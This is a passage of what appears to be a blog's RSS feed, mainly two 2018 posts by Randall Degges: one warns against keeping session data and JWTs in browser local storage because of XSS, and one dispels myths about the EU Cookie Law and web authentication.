&lt;p>Putting together a financial plan for yourself can be a great way to force tough conversations and help you figure out what it is you value. I know that for me, learning a bit about personal finance changed my life dramatically for the better. If you haven&amp;rsquo;t sat down and developed a personal financial plan &amp;ndash; go do it!&lt;/p></description></item><item><title>Please Stop Using Local Storage</title><link>https://rdegges.com/2018/please-stop-using-local-storage/</link><pubDate>Fri, 26 Jan 2018 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2018/please-stop-using-local-storage/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2018/please-stop-using-local-storage/grumpy-rage-face.jpg" alt="Grumpy Rage Face" title="Grumpy Rage Face">
&lt;/p>
&lt;p>Seriously. Just stop it already.&lt;/p>
&lt;p>I don&amp;rsquo;t know what it is, exactly, that drives so many developers to store
session information in &lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/Storage/LocalStorage">local storage&lt;/a>,
but whatever the reason: the practice needs to die out. Things are getting
completely out of hand.&lt;/p>
&lt;p>Almost every day I stumble across a new website storing sensitive user
information in local storage and it bothers me to know that so many developers
are opening themselves up to catastrophic security issues by doing so.&lt;/p>
&lt;p>Let&amp;rsquo;s have a heart-to-heart and talk about local storage and why you should stop
using it to store session data.&lt;/p>
&lt;h2 id="what-is-local-storage">What is Local Storage?&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2018/please-stop-using-local-storage/html5-local-storage.jpg" alt="HTML5 Local Storage" title="HTML5 Local Storage">
&lt;/p>
&lt;p>I&amp;rsquo;m sorry if I was a bit grumpy earlier. You don&amp;rsquo;t deserve that! Heck, you might
not even be familiar with what local storage is, let alone be using it to store
your session information!&lt;/p>
&lt;p>Let&amp;rsquo;s start with the basics: local storage is a new feature of HTML5 that
basically allows you (a web developer) to store any information you want in your
user&amp;rsquo;s browser using JavaScript. Simple, right?&lt;/p>
&lt;p>In practice, local storage is just one big old JavaScript object that you can
attach data to (or remove data from). Here&amp;rsquo;s an example of some JavaScript code
that stores some of my personal info in local storage, echoes it back to me, and
then (optionally) removes it:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-javascript" data-lang="javascript">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// You can store data in local storage using either syntax
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="nx">localStorage&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">userName&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;rdegges&amp;#34;&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nx">localStorage&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">setItem&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;favoriteColor&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;black&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// Once data is in localStorage, it&amp;#39;ll stay there forever until it is
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// explicitly removed
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">&lt;/span>&lt;span class="nx">alert&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">localStorage&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">userName&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="s2">&amp;#34; really likes the color &amp;#34;&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="nx">localStorage&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">favoriteColor&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="s2">&amp;#34;.&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// Removing data from local storage is also pretty easy. Uncomment the lines
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">// below to destroy the entries
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">//localStorage.removeItem(&amp;#34;userName&amp;#34;);
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">//localStorage.removeItem(&amp;#34;favoriteColor&amp;#34;);
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>If you run the JavaScript code above in your browser on a test HTML page, you&amp;rsquo;ll
see the phrase “rdegges really likes the color black.” in an alert message. If
you then open up your developer tools, you&amp;rsquo;ll be able to see the that both the
&lt;code>userName&lt;/code> and &lt;code>favoriteColor&lt;/code> variables are both stored in local storage in
your browser:&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2018/please-stop-using-local-storage/local-storage-inspector.png" alt="Local Storage Inspector" title="Local Storage Inspector">
&lt;/p>
&lt;p>Now you might be wondering if there&amp;rsquo;s some way to use local storage so that the
data you store is automatically deleted at some point and you don&amp;rsquo;t need to
manually delete every single variable you put in there. Luckily, the HTML5
working group (shout out!) has your back. They added something called
sessionStorage to HTML5 which works &lt;em>exactly&lt;/em> the same as local storage except
that all data it stores is automatically deleted when the user closes their
browser tab.&lt;/p>
&lt;h2 id="whats-cool-about-local-storage">What&amp;rsquo;s Cool About Local Storage?&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2018/please-stop-using-local-storage/happy-rage-face.jpg" alt="Happy Rage Face" title="Happy Rage Face">
&lt;/p>
&lt;p>Now that we&amp;rsquo;re on the same page about what local storage is, let&amp;rsquo;s talk about
what makes it cool! Even though the whole point of this article is to dissuade
you from using local storage to store session data, local storage still has some
interesting properties.&lt;/p>
&lt;p>For one thing: it&amp;rsquo;s pure JavaScript! One of the annoying things about cookies
(the only real alternative to local storage) is that they need to be created by
a web server. Boo! Web servers are boring and complex and hard to work with.&lt;/p>
&lt;p>If you&amp;rsquo;re building a static site (like a single page app, for instance), using
something like local storage means your web pages can run independently of any
web server. They don&amp;rsquo;t need any backend language or logic to store data in the
browser: they can just do it as they please.&lt;/p>
&lt;p>This is a pretty powerful concept and one of the main reasons that local storage
is such a hit with developers.&lt;/p>
&lt;p>Another neat thing about local storage is that it doesn&amp;rsquo;t have as many size
constraints as cookies. Local storage provides at least 5MB of data storage
across all major web browsers, which is a heck of a lot more than the 4KB
(maximum size) that you can store in a cookie.&lt;/p>
&lt;p>This makes local storage particularly useful if you want to cache some
application data in the browser for later usage. Since 4KB (the cookie max size)
isn&amp;rsquo;t a lot, local storage is one of your only real alternative options.&lt;/p>
&lt;h2 id="what-sucks-about-local-storage">What Sucks About Local Storage&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2018/please-stop-using-local-storage/frowning-rage-face.png" alt="Frowning Rage Face" title="Frowning Rage Face">
&lt;/p>
&lt;p>OK. We talked about the good, now let&amp;rsquo;s spend a minute (or two!) talking about
the bad.&lt;/p>
&lt;p>Local storage is soooo &lt;em>basic&lt;/em>. WHEW. I feel better already getting that off my
chest. Local storage is just an incredibly basic, simple API.&lt;/p>
&lt;p>I feel like most developers don&amp;rsquo;t realize just how basic local storage actually
is:&lt;/p>
&lt;ul>
&lt;li>
&lt;p>It can only store string data. Boo. This makes it pretty useless for storing
data that&amp;rsquo;s even slightly more complex than a simple string. And sure, you
&lt;em>could&lt;/em> serialize everything including data types into local storage, but
that&amp;rsquo;s an ugly hack.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>It is synchronous. This means each local storage operation you run will be
one-at-a-time. For complex applications this is a big no-no as it&amp;rsquo;ll slow down
your app&amp;rsquo;s runtime.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>It can&amp;rsquo;t be used by &lt;a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Using_web_workers">web workers&lt;/a>
=/ This means that if you want to build an application that takes advantage of
background processing for performance, chrome extensions, things like that:
you can&amp;rsquo;t use local storage at all since it isn&amp;rsquo;t available to the web
workers.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>It still limits the size of data you can store (~5MB across all major
browsers). This is a fairly low limit for people building apps that are data
intensive or need to function offline.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Any JavaScript code on your page can access local storage: it has no data
protection whatsoever. &lt;strong>This is the big one for security reasons&lt;/strong> (as well
as my number one pet peeve in recent years).&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>To keep it short, here&amp;rsquo;s the only situation in which you should use local
storage: when you need to store some publicly available information that is not
at all sensitive, doesn&amp;rsquo;t need to be used in a high performance app, isn&amp;rsquo;t
larger than 5MB, and consists of purely string data.&lt;/p>
&lt;p>If the app you&amp;rsquo;re using doesn&amp;rsquo;t fit the above description: &lt;em>don&amp;rsquo;t use local
storage&lt;/em>. Use something else (more on this later).&lt;/p>
&lt;h2 id="why-local-storage-is-insecure-and-you-shouldnt-use-it-to-store-sensitive-data">Why Local Storage is Insecure and You Shouldn&amp;rsquo;t Use it to Store Sensitive Data&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2018/please-stop-using-local-storage/stick-figure-instructor.png" alt="Stick Figure Instructor" title="Stick Figure Instructor">
&lt;/p>
&lt;p>Here&amp;rsquo;s the deal: most of the bad things about local storage aren&amp;rsquo;t all that
important. You can still get away with using it but you&amp;rsquo;ll just have a slightly
slower app and minor developer annoyance. But security is different. The
security model of local storage IS really important to know and understand,
since it will dramatically affect your website in ways you may not realize.&lt;/p>
&lt;p>And the thing about local storage is that it is &lt;em>not secure&lt;/em>! Not at all!
Everyone who uses local storage to store sensitive information such as session
data, user details, credit card info (even temporarily!) and anything else you
wouldn&amp;rsquo;t want publicly posted to Facebook is doing it wrong.&lt;/p>
&lt;p>Local storage &lt;em>wasn&amp;rsquo;t designed&lt;/em> to be used as a secure storage mechanism in a
browser. It was designed to be a simple string only key/value store that
developers could use to build slightly more complex single page apps. That&amp;rsquo;s it.&lt;/p>
&lt;p>What&amp;rsquo;s the most dangerous thing in the entire world? That&amp;rsquo;s right! JavaScript.&lt;/p>
&lt;p>Think about it like this: when you store sensitive information in local storage,
you&amp;rsquo;re essentially using the most dangerous thing in the world to store your
most sensitive information in the worst vault ever created: not the best idea.&lt;/p>
&lt;p>What the problem really boils down to is cross-site scripting attacks
(&lt;a href="https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)">XSS&lt;/a>). I won&amp;rsquo;t
bore you with a full explanation of XSS, but here&amp;rsquo;s the high level:&lt;/p>
&lt;p>If an attacker can run JavaScript on your website, they can retrieve all the
data you&amp;rsquo;ve stored in local storage and send it off to their own domain. This
means anything sensitive you&amp;rsquo;ve got in local storage (like a user&amp;rsquo;s session
data) can be compromised.&lt;/p>
&lt;p>Now, you might be thinking “So what? My website is secure. No attacker can run
JavaScript on my website.”&lt;/p>
&lt;p>And that&amp;rsquo;s a reasonable point. If your website is &lt;em>truly&lt;/em> secure and no attacker
can run JavaScript code on your website then you are technically safe, but in
reality that is incredibly hard to achieve. Let me explain.&lt;/p>
&lt;p>If your website contains &lt;em>any&lt;/em> third party JavaScript code included from a
source outside your domain:&lt;/p>
&lt;ul>
&lt;li>Links to bootstrap&lt;/li>
&lt;li>Links to jQuery&lt;/li>
&lt;li>Links to Vue, React, Angular, etc.&lt;/li>
&lt;li>Links to any ad network code&lt;/li>
&lt;li>Links to Google Analytics&lt;/li>
&lt;li>Links to any tracking code&lt;/li>
&lt;/ul>
&lt;p>Then you are currently at risk for having an attacker run JavaScript on your
website. Let&amp;rsquo;s say your website has the following script tag embedded inside it:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-html" data-lang="html">&lt;span class="line">&lt;span class="cl">&lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">script&lt;/span> &lt;span class="na">src&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;https://awesomejslibrary.com/minified.js&amp;#34;&lt;/span>&lt;span class="p">&amp;gt;&amp;lt;/&lt;/span>&lt;span class="nt">script&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>In this case, if awesomejslibrary.com is compromised and their &lt;code>minified.js&lt;/code>
script gets altered to:&lt;/p>
&lt;ul>
&lt;li>Loop through all data in local storage&lt;/li>
&lt;li>Send it to an API built to collect stolen information&lt;/li>
&lt;/ul>
&lt;p>&amp;hellip; then you are completely screwed. In this situation the attacker would have
easily been able to compromise anything you had stored in local storage and you
would never notice. Not ideal.&lt;/p>
&lt;p>As engineers, I think we&amp;rsquo;re frequently susceptible to thinking that we would
never embed third party JavaScript in our websites. But in the real world, this
scenario rarely plays out.&lt;/p>
&lt;p>At most companies the marketing team directly manages the public website using
different WYSIWYG editors and tooling. Can you &lt;em>really&lt;/em> be sure that nowhere on
your site are you using third party JavaScript? I&amp;rsquo;d argue “no”.&lt;/p>
&lt;p>So to err on the side of caution and dramatically reduce your risk for a
security incident: &lt;strong>don&amp;rsquo;t store anything sensitive in local storage&lt;/strong>.&lt;/p>
&lt;h2 id="psa-dont-store-json-web-tokens-in-local-storage">PSA: Don&amp;rsquo;t Store JSON Web Tokens in Local Storage&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2018/please-stop-using-local-storage/stick-figure-with-stop-sign.png" alt="Stick Figure with Stop Sign" title="Stick Figure with Stop Sign">
&lt;/p>
&lt;p>While I feel like I made myself clear that you should never &lt;em>ever&lt;/em> store
sensitive information in local storage in the previous section, I feel the need
to specifically call out JSON Web Tokens (JWTs).&lt;/p>
&lt;p>The biggest security offenders I see today are those of us who store JWTs
(session data) in local storage. Many people don&amp;rsquo;t realize that JWTs are
essentially the same thing as a username/password.&lt;/p>
&lt;p>If an attacker can &lt;a href="https://stackoverflow.com/questions/34259248/what-if-jwt-is-stolen">get a copy of your JWT&lt;/a>,
they can make requests to the website on your behalf and you will never know.
Treat your JWTs like you would a credit card number or password: don&amp;rsquo;t ever
store them in local storage.&lt;/p>
&lt;p>There are thousands of tutorials, YouTube videos, and even programming classes
at universities and coding bootcamps incorrectly teaching new developers to
store JWTs in local storage as an authentication mechanism. &lt;strong>THIS INFORMATION
IS WRONG.&lt;/strong> If you see someone telling you to do this, run away!&lt;/p>
&lt;h2 id="what-to-use-instead-of-local-storage">What to Use Instead of Local Storage&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2018/please-stop-using-local-storage/pointing-man.png" alt="Pointing Man" title="Pointing Man">
&lt;/p>
&lt;p>So with all of local storage&amp;rsquo;s shortcomings, what should you use instead? Let&amp;rsquo;s
explore the alternatives!&lt;/p>
&lt;h3 id="sensitive-data">Sensitive Data&lt;/h3>
&lt;p>If you need to store sensitive data, you should always use a server-side
session. Sensitive data includes:&lt;/p>
&lt;ul>
&lt;li>User IDs&lt;/li>
&lt;li>Session IDs&lt;/li>
&lt;li>JWTs&lt;/li>
&lt;li>Personal information&lt;/li>
&lt;li>Credit card information&lt;/li>
&lt;li>API keys&lt;/li>
&lt;li>And anything else you wouldn&amp;rsquo;t want to publicly share on Facebook&lt;/li>
&lt;/ul>
&lt;p>If you need to store sensitive data, here&amp;rsquo;s how to do it:&lt;/p>
&lt;ul>
&lt;li>
&lt;p>When a user logs into your website, create a session identifier for them and
store it in a cryptographically signed cookie. If you&amp;rsquo;re using a web
framework, look up “how to create a user session using cookies” and follow
that guide.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Make sure that whatever cookie library your web framework uses is setting the
&lt;code>httpOnly&lt;/code> cookie flag. This flag makes it impossible for a browser to read
any cookies, which is &lt;em>required&lt;/em> in order to safely use server-side sessions
with cookies. Read &lt;a href="https://blog.codinghorror.com/protecting-your-cookies-httponly/">Jeff Atwood&amp;rsquo;s article&lt;/a>
for more information. He&amp;rsquo;s the &lt;em>man&lt;/em>.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Make sure that your cookie library also sets the &lt;code>SameSite=strict&lt;/code> cookie flag
(to prevent &lt;a href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)">CSRF&lt;/a>
attacks), as well as the &lt;code>secure=true&lt;/code> flag (to ensure cookies can only be
set over an encrypted connection).&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Each time a user makes a request to your site, use their session ID (extracted
from the cookie they send to you) to retrieve their account details from
either a database or a cache (depending on how large your website is)&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Once you have the user&amp;rsquo;s account info pulled up and verified, feel free to
pull any associated sensitive data along with it&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>This pattern is simple, straightforward, and most importantly: &lt;em>secure&lt;/em>. And
yes, you can most definitely scale up a large website using this pattern. Don&amp;rsquo;t
tell me that JWTs are “stateless” and “fast” and you have to use local storage
to store them: you&amp;rsquo;re wrong!&lt;/p>
&lt;h3 id="non-string-data">Non-String Data&lt;/h3>
&lt;p>If you need to store data in the browser that isn&amp;rsquo;t sensitive and isn&amp;rsquo;t purely
string data, the best option for you is IndexedDB. It&amp;rsquo;s an API that lets you
work with a database-esque object store in the browser.&lt;/p>
&lt;p>What&amp;rsquo;s great about IndexedDB is that you can use it to store typed information:
integers, floats, etc. You can also define primary keys, handle indexing, and
create transactions to prevent data integrity issues.&lt;/p>
&lt;p>A great tutorial for learning about (and using) IndexedDB is this
&lt;a href="https://developers.google.com/web/ilt/pwa/working-with-indexeddb">Google tutorial&lt;/a>.&lt;/p>
&lt;h3 id="offline-data">Offline Data&lt;/h3>
&lt;p>If you need your app to run offline, your best option is to use a combination of
IndexedDB (above) along with the Cache API (which is a part of Service Workers).&lt;/p>
&lt;p>The Cache API allows you to cache network resources that your app needs to load.&lt;/p>
&lt;p>A great tutorial for learning about (and using) the Cache API is this
&lt;a href="https://developers.google.com/web/fundamentals/instant-and-offline/web-storage/cache-api">Google tutorial&lt;/a>.&lt;/p>
&lt;h2 id="please-stop-using-local-storage">Please Stop Using Local Storage&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2018/please-stop-using-local-storage/happy-rage-face.jpg" alt="Happy Rage Face" title="Happy Rage Face">
&lt;/p>
&lt;p>Now that we&amp;rsquo;ve had a chance to talk about local storage, I hope you understand
why you (probably) shouldn&amp;rsquo;t be using it.&lt;/p>
&lt;p>Unless you need to store publicly available information that:&lt;/p>
&lt;ul>
&lt;li>Is not at all sensitive&lt;/li>
&lt;li>Doesn&amp;rsquo;t need to be used in an ultra high performance app&lt;/li>
&lt;li>Isn&amp;rsquo;t larger than 5MB&lt;/li>
&lt;li>Consists of purely string data&lt;/li>
&lt;/ul>
&lt;p>&amp;hellip; &lt;strong>don&amp;rsquo;t use local storage!&lt;/strong> Use the right tool for the job.&lt;/p>
&lt;p>And please, please, whatever you do, do not store session information (like JSON
Web Tokens) in local storage. This is a very bad idea and will open you up to an
extremely wide array of attacks that could absolutely cripple your users.&lt;/p>
&lt;p>Have a question? &lt;a href="mailto:r@rdegges.com">Shoot me an email&lt;/a>.&lt;/p>
&lt;p>Stay safe out there =)&lt;/p>
&lt;p>&lt;strong>NOTE&lt;/strong>: For those of you who made it this far who are wondering why I didn&amp;rsquo;t
specifically call out &lt;a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP">Content Security Policy&lt;/a>
as a way to mitigate the effects of XSS, I specifically chose not to include
this because it cannot help in the situation I described above. Even if you use
CSP to whitelist all third party JavaScript domains, that does nothing to
prevent XSS if the third party provider is compromised.&lt;/p>
&lt;p>And while we&amp;rsquo;re at it: &lt;a href="https://developer.mozilla.org/en-US/docs/Web/Security/Subresource_Integrity">subresource integrity&lt;/a>
(while cool) is also not a global solution to this issue. For most marketing
tools, ad networks, etc. (which are by far the most commonly used types of
third party JavaScript), subresource integrity is almost never used as the
providers of those scripts &lt;em>want&lt;/em> to change them frequently so they can
silently update functionality for their users.&lt;/p>
&lt;p>&lt;strong>UPDATE&lt;/strong>: I&amp;rsquo;m not the only one who thinks you should never store anything
sensitive in local storage. So does &lt;a href="https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html#local-storage">OWASP&lt;/a>:&lt;/p>
&lt;blockquote>
&lt;p>&amp;hellip; In other words, any authentication your application requires can be
bypassed by a user with local privileges to the machine on which the data is
stored. Therefore, it&amp;rsquo;s recommended not to store any sensitive information in
local storage.&lt;/p>
&lt;/blockquote></description></item><item><title>How EU Cookie Law Myths Affect Web Security</title><link>https://rdegges.com/2018/how-eu-cookie-law-myths-affect-web-security/</link><pubDate>Sun, 21 Jan 2018 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2018/how-eu-cookie-law-myths-affect-web-security/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2018/how-eu-cookie-law-myths-affect-web-security/cookie-monster-sketch.jpg" alt="Cookie Monster Sketch" title="Cookie Monster Sketch">
&lt;/p>
&lt;p>Over the last few years you might have noticed banners like this one popping up on a lot of web pages:&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2018/how-eu-cookie-law-myths-affect-web-security/eu-cookie-law-banner.png" alt="EU Cookie Law Banner" title="EU Cookie Law Banner">
&lt;/p>
&lt;p>These banners are a direct result of the passage of the EU directive, sometimes
known as the Cookie Law, back in 2011. The EU passed this directive to improve
consumer awareness about how their data is being used by websites and give
consumers the option not to participate in the data collection and tracking
practices that many websites utilize.&lt;/p>
&lt;p>The Cookie Law got its name because at the time a majority of the data websites
collected about users was stored in cookies.&lt;/p>
&lt;p>Unfortunately, there&amp;rsquo;s a lot of confusion and misinformation in the developer
community around the EU Cookie Law and how it applies to &lt;em>web authentication&lt;/em>, a
topic that I care deeply about. =)&lt;/p>
&lt;p>After all: if you need to log users into and out of your web application, you
&lt;em>have&lt;/em> to store session information someplace. Does this mean if you&amp;rsquo;re storing
authentication information inside a cookie you need to display the EU Cookie Law
banner on your website?&lt;/p>
&lt;p>Today I&amp;rsquo;m going to clear up any misconceptions you might have about the law and
explain exactly what you need to know to be in compliance.&lt;/p>
&lt;h2 id="the-cookie-law-isnt-about-cookies">The Cookie Law Isn&amp;rsquo;t About Cookies&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2018/how-eu-cookie-law-myths-affect-web-security/cookie-monster-cookie-sketch.jpg" alt="Cookie Monster Cookie Sketch" title="Cookie Monster Cookie Sketch">
&lt;/p>
&lt;p>The first thing we need to talk about is cookies.&lt;/p>
&lt;p>As crazy as it may seem, &lt;strong>the EU Cookie Law has absolutely nothing to do with
cookies&lt;/strong>. Shocking, right?&lt;/p>
&lt;p>The EU Cookie Law is about storing any data about a user that isn&amp;rsquo;t strictly
necessary for the operation of your website, regardless of where that data is
stored.&lt;/p>
&lt;p>For instance: let&amp;rsquo;s say you&amp;rsquo;re building an online store like Amazon. Before a
user can purchase goods, they are required to create an account. When a user
creates their account with you, you log them in with a session cookie.&lt;/p>
&lt;p>In this scenario, your website is using a cookie to do something that&amp;rsquo;s required
for your website to operate, so no cookie banner is needed.&lt;/p>
&lt;p>If you then decided to add a marketing tool for analytics tracking such as
Google Analytics, Kissmetrics, Optimizely, etc., you would now be collecting
and storing user information in a non-essential way, so you would then need to
implement a cookie banner on your site to remain compliant with the EU Cookie
Law.&lt;/p>
&lt;h2 id="who-does-the-eu-cookie-law-apply-to">Who Does the EU Cookie Law Apply To?&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2018/how-eu-cookie-law-myths-affect-web-security/confused-elmo-sketch.jpg" alt="Confused Elmo Sketch" title="Confused Elmo Sketch">
&lt;/p>
&lt;p>Legally speaking, the EU Cookie Law only applies to companies and websites owned
by a person or entity who resides in an EU country.&lt;/p>
&lt;p>However, if your company is based in the EU or has an EU subsidiary then you are
required to comply with the EU Cookie Law if your website is primarily targeted
at an EU audience. This means that if you&amp;rsquo;re an EU company running a website
that only serves US customers, you are exempt.&lt;/p>
&lt;p>To sum it up: the EU Cookie Law only applies to you if you have a presence in
the EU and your website targets EU visitors.&lt;/p>
&lt;h2 id="is-local-storage-exempt-from-the-eu-cookie-law">Is Local Storage Exempt from the EU Cookie Law?&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2018/how-eu-cookie-law-myths-affect-web-security/elmo-waving-sketch.jpg" alt="Elmo Waving Sketch" title="Elmo Waving Sketch">
&lt;/p>
&lt;p>The biggest myth floating around the developer world right now regarding the EU
Cookie Law is that if you decide to store non-essential user information in HTML
local storage as opposed to cookies, then you are compliant with the EU law and
don&amp;rsquo;t need to worry.&lt;/p>
&lt;p>This is, of course, completely false.&lt;/p>
&lt;p>Regardless of where you store user information for purposes like tracking and
marketing, you are only compliant if you show a cookie banner on your website.
Just because the EU Cookie Law has “cookie” in the name, it doesn&amp;rsquo;t mean that
using an alternate place to store information will make you compliant!&lt;/p>
&lt;h2 id="the-biggest-problem-with-eu-cookie-law-myths">The Biggest Problem with EU Cookie Law Myths&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2018/how-eu-cookie-law-myths-affect-web-security/oscar-the-grouch-sketch.jpg" alt="Oscar the Grouch Sketch" title="Oscar the Grouch Sketch">
&lt;/p>
&lt;p>The biggest problem I see as a developer entrenched in the security world is
that many web developers are compromising their website security in massive ways
through their misunderstanding of the legislation. Let me explain.&lt;/p>
&lt;p>A majority of the developers I&amp;rsquo;ve spoken with over the last few years mistakenly
believe that:&lt;/p>
&lt;ul>
&lt;li>User authentication data (session information) falls under the EU Cookie Law
for regulation&lt;/li>
&lt;li>If they store session information in HTML local storage instead of cookies,
they can get around the law entirely&lt;/li>
&lt;/ul>
&lt;p>Mixing these two pieces of misinformation together creates a dangerous recipe
that has the potential to dramatically affect the security of many websites in
the EU.&lt;/p>
&lt;p>Here&amp;rsquo;s where the root of the problem lies: developers trying to outsmart the EU
Cookie Law by storing their user&amp;rsquo;s session information in HTML local storage
instead of cookies.&lt;/p>
&lt;p>&lt;strong>NOTE&lt;/strong>: My worry here is not unfounded. There are many, many websites in the
EU &lt;em>right now&lt;/em> that are following this pattern and are not only
out-of-compliance, but are also risking major security breaches of their user&amp;rsquo;s
personal information.&lt;/p>
&lt;p>The problem is that &lt;strong>HTML local storage is not a safe place to store sensitive
information like a user&amp;rsquo;s session data&lt;/strong>. HTML local storage is designed to be
accessible to client-side Javascript code, which puts you at risk for
&lt;a href="https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)" title="Cross Site Scripting OWASP">cross-site scripting attacks&lt;/a> (XSS) which just so happen to be one of the
most common attacks (&lt;a href="https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf" title="OWASP Top 10 List">pdf&lt;/a>) (and one of the hardest to prevent!) across the
entire internet!&lt;/p>
&lt;p>In short: when handling sensitive information like user session info, you must
always store that data in cookies (with the &lt;a href="https://www.owasp.org/index.php/HttpOnly" title="httpOnly Cookie Flag OWASP">httpOnly&lt;/a> and &lt;a href="https://www.owasp.org/index.php/SameSite" title="SameSite Cookie Flag OWASP">SameSite&lt;/a> flags
set). If you don&amp;rsquo;t, you&amp;rsquo;re opening yourself up to a massive surface area of
potential attacks, all of which have the capacity to allow attackers access to
your most sensitive information: user details.&lt;/p>
&lt;h2 id="eu-cookie-law-summary">EU Cookie Law Summary&lt;/h2>
&lt;p>It&amp;rsquo;s unfortunate that the EU Cookie Law is named like it is. The name of the law
has confused tons of developers across the EU and is responsible for a lot of
misinformation about compliance.&lt;/p>
&lt;p>Please make sure that you do the following things if you&amp;rsquo;re an EU website owner
running a service targeted at EU visitors:&lt;/p>
&lt;ol>
&lt;li>Only store session information for your users in cookies (not local storage!)
with the &lt;a href="https://www.owasp.org/index.php/HttpOnly" title="httpOnly Cookie Flag OWASP">httpOnly&lt;/a> and &lt;a href="https://www.owasp.org/index.php/SameSite" title="SameSite Cookie Flag OWASP">SameSite&lt;/a> flags set&lt;/li>
&lt;li>If you have any services on your website that collect non-essential user
information (usually marketing and advertising tools) in any way (via local
storage, an API, cookies, etc.) &lt;em>then&lt;/em> you are required to display a cookie
banner on your site&lt;/li>
&lt;/ol>
&lt;p>If you follow the two rules above, you&amp;rsquo;ll be OK.&lt;/p></description></item><item><title>To 30 Billion and Beyond</title><link>https://rdegges.com/2018/to-30-billion-and-beyond/</link><pubDate>Wed, 03 Jan 2018 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2018/to-30-billion-and-beyond/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2018/to-30-billion-and-beyond/buzz-lightyear-charging-sketch.jpg" alt="Buzz Lightyear Charging Sketch" title="Buzz Lightyear Charging Sketch">
&lt;/p>
&lt;p>Several years ago I created a free web service, &lt;a href="https://www.ipify.org/">ipify&lt;/a>.
ipify is a freely available, highly scalable ip address lookup service. When you
query its REST API, it returns your public-facing IP address.&lt;/p>
&lt;p>I created ipify because at the time I was building complex infrastructure
management software and needed to dynamically discover the public IP address of
some cloud instances without using any management APIs.&lt;/p>
&lt;p>When I searched online for freely available reverse IP lookup services I didn&amp;rsquo;t
find any suitable solutions:&lt;/p>
&lt;ul>
&lt;li>There were websites I could attempt to scrape my IP from (but this is bad
form, and would likely result in complaints from the host)&lt;/li>
&lt;li>There were APIs for this that charged money (yuck!)&lt;/li>
&lt;li>There were APIs that allowed you to do a limited number of lookups per day
(which scared me as I was managing a lot of instances at the time)&lt;/li>
